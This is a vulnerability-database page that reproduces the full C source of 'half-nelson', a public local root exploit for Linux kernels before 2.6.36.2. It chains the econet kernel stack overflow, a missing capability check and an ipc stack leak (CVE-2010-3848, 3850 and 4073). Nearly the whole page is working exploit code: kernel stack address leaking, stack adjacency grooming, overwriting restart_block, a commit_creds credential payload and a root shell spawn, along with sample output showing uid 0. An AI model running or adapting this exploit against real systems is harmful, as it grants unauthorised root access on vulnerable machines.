Lucene search

K

Linux Kernel < 2.6.36.2 Econet Privilege Escalation Exploit

🗓️ 09 Sep 2011 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 46 Views

Linux Kernel < 2.6.36.2 Econet Privilege Escalation Exploit. Stack-based buffer overflow in the econet_sendmsg function allows local users to gain privileges by providing a large number of iovec structures

Show more
Related
Code

                                                /*
 * half-nelson.c
 *
 * Linux Kernel &lt; 2.6.36.2 Econet Privilege Escalation Exploit
 * Jon Oberheide &lt;[email protected]&gt;
 * http://jon.oberheide.org
 *
 * Information:
 *
 *   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3848
 *
 *   Stack-based buffer overflow in the econet_sendmsg function in
 *   net/econet/af_econet.c in the Linux kernel before 2.6.36.2, when an
 *   econet address is configured, allows local users to gain privileges by
 *   providing a large number of iovec structures.
 *
 *   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3850
 *
 *   The ec_dev_ioctl function in net/econet/af_econet.c in the Linux kernel
 *   before 2.6.36.2 does not require the CAP_NET_ADMIN capability, which
 *   allows local users to bypass intended access restrictions and configure
 *   econet addresses via an SIOCSIFADDR ioctl call.
 *
 *   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4073
 *
 *   The ipc subsystem in the Linux kernel before 2.6.37-rc1 does not
 *   initialize certain structures, which allows local users to obtain
 *   potentially sensitive information from kernel stack memory.
 *
 * Usage:
 *
 *   $ gcc half-nelson.c -o half-nelson -lrt
 *   $ ./half-nelson
 *   [+] looking for symbols...
 *   [+] resolved symbol commit_creds to 0xffffffff81088ad0
 *   [+] resolved symbol prepare_kernel_cred to 0xffffffff81088eb0
 *   [+] resolved symbol ia32_sysret to 0xffffffff81046692
 *   [+] spawning children to achieve adjacent kstacks...
 *   [+] found parent kstack at 0xffff88001c6ca000
 *   [+] found adjacent children kstacks at 0xffff88000d10a000 and 0xffff88000d10c000
 *   [+] lower child spawning a helper...
 *   [+] lower child calling compat_sys_wait4 on helper...
 *   [+] helper going to sleep...
 *   [+] upper child triggering stack overflow...
 *   [+] helper woke up
 *   [+] lower child returned from compat_sys_wait4
 *   [+] parent's restart_block has been clobbered
 *   [+] escalating privileges...
 *   [+] launching root shell!
 *   # id
 *   uid=0(root) gid=0(root)
 *
 * Notes:
 *
 *   This exploit leverages three vulnerabilities to escalate privileges.
 *   The primary vulnerability is a kernel stack overflow, not a stack buffer
 *   overflow as the CVE description incorrectly states. I believe this is the
 *   first public exploit for a kernel stack overflow, and it turns out to be
 *   a bit tricky due to some particulars of the econet vulnerability. A full
 *   breakdown of the exploit is forthcoming.
 *
 *   Tested on Ubuntu 10.04 LTS (2.6.32-21-generic).
 */
 
#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;stdint.h&gt;
#include &lt;stddef.h&gt;
#include &lt;string.h&gt;
#include &lt;unistd.h&gt;
#include &lt;errno.h&gt;
#include &lt;fcntl.h&gt;
#include &lt;limits.h&gt;
#include &lt;syscall.h&gt;
#include &lt;inttypes.h&gt;
#include &lt;sys/types.h&gt;
#include &lt;sys/socket.h&gt;
#include &lt;sys/wait.h&gt;
#include &lt;sys/ioctl.h&gt;
#include &lt;sys/mman.h&gt;
#include &lt;sys/ipc.h&gt;
#include &lt;sys/sem.h&gt;
#include &lt;sys/stat.h&gt;
#include &lt;sys/mman.h&gt;
#include &lt;sys/resource.h&gt;
#include &lt;sys/syscall.h&gt;
#include &lt;netinet/in.h&gt;
#include &lt;net/if.h&gt;
 
#define IOVS           446
#define NPROC          1024
#define KSTACK_SIZE    8192
 
#define KSTACK_UNINIT  0
#define KSTACK_UPPER   1
#define KSTACK_LOWER   2
#define KSTACK_DIE     3
#define KSTACK_PARENT  4
#define KSTACK_CLOBBER 5
 
#define LEAK_BASE      0xffff880000000000
#define LEAK_TOP       0xffff8800c0000000
#define LEAK_DEPTH     500
#define LEAK_OFFSET    32
 
#define NR_IPC         0x75
#define NR_WAIT4       0x72
#define SEMCTL         0x3
 
#ifndef PF_ECONET
#define PF_ECONET      19
#endif
 
#define STACK_OFFSET   6
#define RESTART_OFFSET 40
 
struct ec_addr {
    unsigned char station;
    unsigned char net;
};
 
struct sockaddr_ec {
    unsigned short sec_family;
    unsigned char port;
    unsigned char cb;
    unsigned char type;
    struct ec_addr addr;
    unsigned long cookie;
};
 
struct ipc64_perm {
    uint32_t key;
    uint32_t uid;
    uint32_t gid;
    uint32_t cuid;
    uint32_t cgid;
    uint32_t mode;
    uint16_t seq;
    uint16_t __pad2;
    unsigned long __unused1;
    unsigned long __unused2;
};
 
struct semid64_ds {
    struct ipc64_perm sem_perm;
    unsigned long sem_otime;
    unsigned long __unused1;
    unsigned long sem_ctime;
    unsigned long __unused;
    unsigned long sem_nsems;
    unsigned long __unused3;
    unsigned long __unused4;
};
 
union semun {
    int val;
    struct semid_ds *buf;
    unsigned short *array;
    struct seminfo *__buf;
};
 
struct region {
    unsigned long parent;
    unsigned long addrs[NPROC];
};
struct region *region;
 
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
unsigned long ia32_sysret;
  
void __attribute__((regparm(3)))
kernel_code(void)
{
    commit_creds(prepare_kernel_cred(0));
}
 
void
payload_parent(void)
{
    asm volatile (
        &quot;mov $kernel_code, %rax\n&quot;
        &quot;call *%rax\n&quot;
    );
}
 
void
payload_child(void)
{
    asm volatile (
        &quot;movq $payload_parent, (%0)\n&quot;
        &quot;jmpq *%1\n&quot;
        :
        : &quot;r&quot;(region-&gt;parent + RESTART_OFFSET), &quot;r&quot;(ia32_sysret)
    );
}
 
unsigned long
get_kstack(void)
{
    int i, size, offset;
    union semun *arg;
    struct semid_ds dummy;
    struct semid64_ds *leaked;
    char *stack_start, *stack_end;
    unsigned char *p;
    unsigned long kstack, *ptr;
 
    /* make sure our argument is 32-bit accessible */
    arg = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_32BIT, -1, 0);
    if (arg == MAP_FAILED) {
        printf(&quot;[-] failure mapping memory, aborting!\n&quot;);
        exit(1);
    }
 
    /* map a fake stack to use during syscall */
    stack_start = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_32BIT, -1, 0);
    if (stack_start == MAP_FAILED) {
        printf(&quot;[-] failure mapping memory, aborting!\n&quot;);
        exit(1);
    }
    stack_end = stack_start + 4096;
 
    memset(arg, 0, sizeof(union semun));
    memset(&amp;dummy, 0, sizeof(struct semid_ds));
    arg-&gt;buf = &amp;dummy;
 
    /* syscall(NR_IPC, SEMCTL, 0, 0, IPC_SET, arg) */
    asm volatile (
        &quot;push %%rax\n&quot;
        &quot;push %%rbx\n&quot;
        &quot;push %%rcx\n&quot;
        &quot;push %%rdx\n&quot;
        &quot;push %%rsi\n&quot;
        &quot;push %%rdi\n&quot;
        &quot;movl %0, %%eax\n&quot;
        &quot;movl %1, %%ebx\n&quot;
        &quot;movl %2, %%ecx\n&quot;
        &quot;movl %3, %%edx\n&quot;
        &quot;movl %4, %%esi\n&quot;
        &quot;movq %5, %%rdi\n&quot;
        &quot;movq %%rsp, %%r8\n&quot;
        &quot;movq %6, %%rsp\n&quot;
        &quot;push %%r8\n&quot;
        &quot;int $0x80\n&quot;
        &quot;pop %%r8\n&quot;
        &quot;movq %%r8, %%rsp\n&quot;
        &quot;pop %%rdi\n&quot;
        &quot;pop %%rsi\n&quot;
        &quot;pop %%rdx\n&quot;
        &quot;pop %%rcx\n&quot;
        &quot;pop %%rbx\n&quot;
        &quot;pop %%rax\n&quot;
        :
        : &quot;r&quot;(NR_IPC), &quot;r&quot;(SEMCTL), &quot;r&quot;(0), &quot;r&quot;(0), &quot;r&quot;(IPC_SET), &quot;r&quot;(arg), &quot;r&quot;(stack_end)
        : &quot;memory&quot;, &quot;rax&quot;, &quot;rbx&quot;, &quot;rcx&quot;, &quot;rdx&quot;, &quot;rsi&quot;, &quot;rdi&quot;, &quot;r8&quot;
    );
 
    /* naively extract a pointer to the kstack from the kstack */
    p = stack_end - (sizeof(unsigned long) + sizeof(struct semid64_ds)) + LEAK_OFFSET;
    kstack = *(unsigned long *) p;
 
    if (kstack &lt; LEAK_BASE || kstack &gt; LEAK_TOP) {
        printf(&quot;[-] failed to leak a suitable kstack address, try again!\n&quot;);
        exit(1);
    }
    if ((kstack % 0x1000) &lt; (0x1000 - LEAK_DEPTH)) {
        printf(&quot;[-] failed to leak a suitable kstack address, try again!\n&quot;);
        exit(1);
    }
 
    kstack = kstack &amp; ~0x1fff;
     
    return kstack;
}
 
unsigned long
get_symbol(char *name)
{
    FILE *f;
    unsigned long addr;
    char dummy, sym[512];
    int ret = 0;
  
    f = fopen(&quot;/proc/kallsyms&quot;, &quot;r&quot;);
    if (!f) {
        return 0;
    }
  
    while (ret != EOF) {
        ret = fscanf(f, &quot;%p %c %s\n&quot;, (void **) &amp;addr, &amp;dummy, sym);
        if (ret == 0) {
            fscanf(f, &quot;%s\n&quot;, sym);
            continue;
        }
        if (!strcmp(name, sym)) {
            printf(&quot;[+] resolved symbol %s to %p\n&quot;, name, (void *) addr);
            fclose(f);
            return addr;
        }
    }
    fclose(f);
  
    return 0;
}
 
int
get_adjacent_kstacks(void)
{
    int i, ret, shm, pid, type;
 
    /* create shared communication channel between parent and its children */
    shm = shm_open(&quot;/halfnelson&quot;, O_RDWR | O_CREAT, S_IRWXU | S_IRWXG | S_IRWXO);
    if (shm &lt; 0) {
        printf(&quot;[-] failed creating shared memory, aborting!\n&quot;);
        exit(1);
    }
 
    ret = ftruncate(shm, sizeof(struct region));
    if (ret != 0) {
        printf(&quot;[-] failed resizing shared memory, aborting!\n&quot;);
        exit(1);
    }
 
    region = mmap(NULL, sizeof(struct region), PROT_READ | PROT_WRITE, MAP_SHARED, shm, 0);
    memset(region, KSTACK_UNINIT, sizeof(struct region));
 
    /* parent kstack self-discovery */
    region-&gt;parent = get_kstack();
 
    printf(&quot;[+] found parent kstack at 0x%lx\n&quot;, region-&gt;parent);
 
    /* fork and discover children with adjacently-allocated kernel stacks */
    for (i = 0; i &lt; NPROC; ++i) {
        pid = fork();
 
        if (pid &gt; 0) {
            type = KSTACK_PARENT;
            continue;
        } else if (pid == 0) {
            /* children do kstack self-discovery */
            region-&gt;addrs[i] = get_kstack();
 
            /* children sleep until parent has found adjacent children */
            while (1) {
                sleep(1);
                if (region-&gt;addrs[i] == KSTACK_DIE) {
                    /* parent doesn't need us :-( */
                    exit(0);
                } else if (region-&gt;addrs[i] == KSTACK_UPPER) {
                    /* we're the upper adjacent process */
                    type = KSTACK_UPPER;
                    break;
                } else if (region-&gt;addrs[i] == KSTACK_LOWER) {
                    /* we're the lower adjacent process */
                    type = KSTACK_LOWER;
                    break;
                }
            }
            break;
        } else {
            printf(&quot;[-] fork failed, aborting!\n&quot;);
            exit(1);
        }
    }
 
    return type;
}
 
void
do_parent(void)
{
    int i, j, upper, lower;
 
    /* parent sleeps until we've discovered all the child kstacks */
    while (1) {
        sleep(1);
        for (i = 0; i &lt; NPROC; ++i) {
            if (region-&gt;addrs[i] == KSTACK_UNINIT) {
                break;
            }
        }
        if (i == NPROC) {
            break;
        }
    }
 
    /* figure out if we have any adjacent child kstacks */
    for (i = 0; i &lt; NPROC; ++i) {
        for (j = 0; j &lt; NPROC; ++j) {
            if (region-&gt;addrs[i] == region-&gt;addrs[j] + KSTACK_SIZE) {
                break;
            }
        }
        if (j != NPROC) {
            break;
        }
    }
    if (i == NPROC &amp;&amp; j == NPROC) {
        printf(&quot;[-] failed to find adjacent kstacks, try again!\n&quot;);
        exit(1);
    }
 
    upper = i;
    lower = j;
 
    printf(&quot;[+] found adjacent children kstacks at 0x%lx and 0x%lx\n&quot;, region-&gt;addrs[lower], region-&gt;addrs[upper]);
 
    /* signal to non-adjacent children to die */
    for (i = 0; i &lt; NPROC; ++i) {
        if (i != upper &amp;&amp; i != lower) {
            region-&gt;addrs[i] = KSTACK_DIE;
        }
    }
 
    /* signal adjacent children to continue on */
    region-&gt;addrs[upper] = KSTACK_UPPER;
    region-&gt;addrs[lower] = KSTACK_LOWER;
 
    /* parent sleeps until child has clobbered the fptr */
    while (1) {
        sleep(1);
        if (region-&gt;parent == KSTACK_CLOBBER) {
            break;
        }
    }
 
    printf(&quot;[+] escalating privileges...\n&quot;);
 
    /* trigger our clobbered fptr */
    syscall(__NR_restart_syscall);
 
    /* our privileges should be escalated now */
    if (getuid() != 0) {
        printf(&quot;[-] privilege escalation failed, aborting!\n&quot;);
        exit(1);
    }
 
    printf(&quot;[+] launching root shell!\n&quot;);
 
    execl(&quot;/bin/sh&quot;, &quot;/bin/sh&quot;, NULL);
}
 
void
do_child_upper(void)
{
    int i, ret, eco_sock;
    struct sockaddr_ec eco_addr;
    struct msghdr eco_msg;
    struct iovec iovs[IOVS];
    struct ifreq ifr;
    char *target;
 
    /* calculate payload target, skip prologue */
    target = (char *) payload_child;
    target += 4;
     
    /* give lower child a chance to enter its wait4 call */
    sleep(1);
 
    /* write some zeros */
    for (i = 0; i &lt; STACK_OFFSET; ++i) {
        iovs[i].iov_base = (void *) 0x0;
        iovs[i].iov_len = 0;
    }
 
    /* overwrite saved ia32_sysret address on stack */
    iovs[STACK_OFFSET].iov_base = (void *) target;
    iovs[STACK_OFFSET].iov_len = 0x0246;
 
    /* force abort via EFAULT */
    for (i = STACK_OFFSET + 1; i &lt; IOVS; ++i) {
        iovs[i].iov_base = (void *) 0xffffffff00000000;
        iovs[i].iov_len = 0;
    }
 
    /* create econet socket */
    eco_sock = socket(PF_ECONET, SOCK_DGRAM, 0);
    if (eco_sock &lt; 0) {
        printf(&quot;[-] failed creating econet socket, aborting!\n&quot;);
        exit(1);
    }
 
    memset(&amp;ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, &quot;lo&quot;);
 
    /* trick econet into associated with the loopback */
    ret = ioctl(eco_sock, SIOCSIFADDR, &amp;ifr);
    if (ret != 0) {
        printf(&quot;[-] failed setting interface address, aborting!\n&quot;);
        exit(1);
    }
 
    memset(&amp;eco_addr, 0, sizeof(eco_addr));
    memset(&amp;eco_msg, 0, sizeof(eco_msg));
    eco_msg.msg_name = &amp;eco_addr;
    eco_msg.msg_namelen = sizeof(eco_addr);
    eco_msg.msg_flags = 0;
    eco_msg.msg_iov = &amp;iovs[0];
    eco_msg.msg_iovlen = IOVS;
 
    printf(&quot;[+] upper child triggering stack overflow...\n&quot;);
 
    /* trigger the kstack overflow into lower child's kstack */
    ret = sendmsg(eco_sock, &amp;eco_msg, 0);
    if (ret != -1 || errno != EFAULT) {
        printf(&quot;[-] sendmsg succeeded unexpectedly, aborting!\n&quot;);
        exit(1);
    }
 
    close(eco_sock);
}
 
void
do_child_lower(void)
{
    int pid;
 
    printf(&quot;[+] lower child spawning a helper...\n&quot;);
 
    /* fork off a helper to wait4 on */
    pid = fork();
    if (pid == 0) {
        printf(&quot;[+] helper going to sleep...\n&quot;);
        sleep(5);
        printf(&quot;[+] helper woke up\n&quot;);
        exit(1);
    }
 
    printf(&quot;[+] lower child calling compat_sys_wait4 on helper...\n&quot;);
 
    /* syscall(NR_WAIT4, pid, 0, 0, 0) */
    asm volatile (
        &quot;push %%rax\n&quot;
        &quot;push %%rbx\n&quot;
        &quot;push %%rcx\n&quot;
        &quot;push %%rdx\n&quot;
        &quot;push %%rsi\n&quot;
        &quot;movl %0, %%eax\n&quot;
        &quot;movl %1, %%ebx\n&quot;
        &quot;movl %2, %%ecx\n&quot;
        &quot;movl %3, %%edx\n&quot;
        &quot;movl %4, %%esi\n&quot;
        &quot;int $0x80\n&quot;
        &quot;pop %%rsi\n&quot;
        &quot;pop %%rdx\n&quot;
        &quot;pop %%rcx\n&quot;
        &quot;pop %%rbx\n&quot;
        &quot;pop %%rax\n&quot;
        :
        : &quot;r&quot;(NR_WAIT4), &quot;r&quot;(pid), &quot;r&quot;(0), &quot;r&quot;(0), &quot;r&quot;(0)
        : &quot;memory&quot;, &quot;rax&quot;, &quot;rbx&quot;, &quot;rcx&quot;, &quot;rdx&quot;, &quot;rsi&quot;
    );
 
    printf(&quot;[+] lower child returned from compat_sys_wait4\n&quot;);
 
    printf(&quot;[+] parent's restart_block has been clobbered\n&quot;);
 
    /* signal parent that our fptr should now be clobbered */
    region-&gt;parent = KSTACK_CLOBBER;
}
 
int
main(int argc, char **argv)
{
    int type;
 
    if (sizeof(unsigned long) != 8) {
        printf(&quot;[-] x86_64 only, sorry!\n&quot;);
        exit(1);
    }
 
    printf(&quot;[+] looking for symbols...\n&quot;);
  
    commit_creds = (_commit_creds) get_symbol(&quot;commit_creds&quot;);
    if (!commit_creds) {
        printf(&quot;[-] symbol table not available, aborting!\n&quot;);
        exit(1);
    }
  
    prepare_kernel_cred = (_prepare_kernel_cred) get_symbol(&quot;prepare_kernel_cred&quot;);
    if (!prepare_kernel_cred) {
        printf(&quot;[-] symbol table not available, aborting!\n&quot;);
        exit(1);
    }
 
    ia32_sysret = get_symbol(&quot;ia32_sysret&quot;);
    if (!ia32_sysret) {
        printf(&quot;[-] symbol table not available, aborting!\n&quot;);
        exit(1);
    }
 
    printf(&quot;[+] spawning children to achieve adjacent kstacks...\n&quot;);
 
    type = get_adjacent_kstacks();
 
    if (type == KSTACK_PARENT) {
        do_parent();
    } else if (type == KSTACK_UPPER) {
        do_child_upper();
    } else if (type == KSTACK_LOWER) {
        do_child_lower();
    }
 
    return 0;
}
                              

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo
09 Sep 2011 00:00Current
0.3Low risk
Vulners AI Score0.3
EPSS0.000
46
.json
Report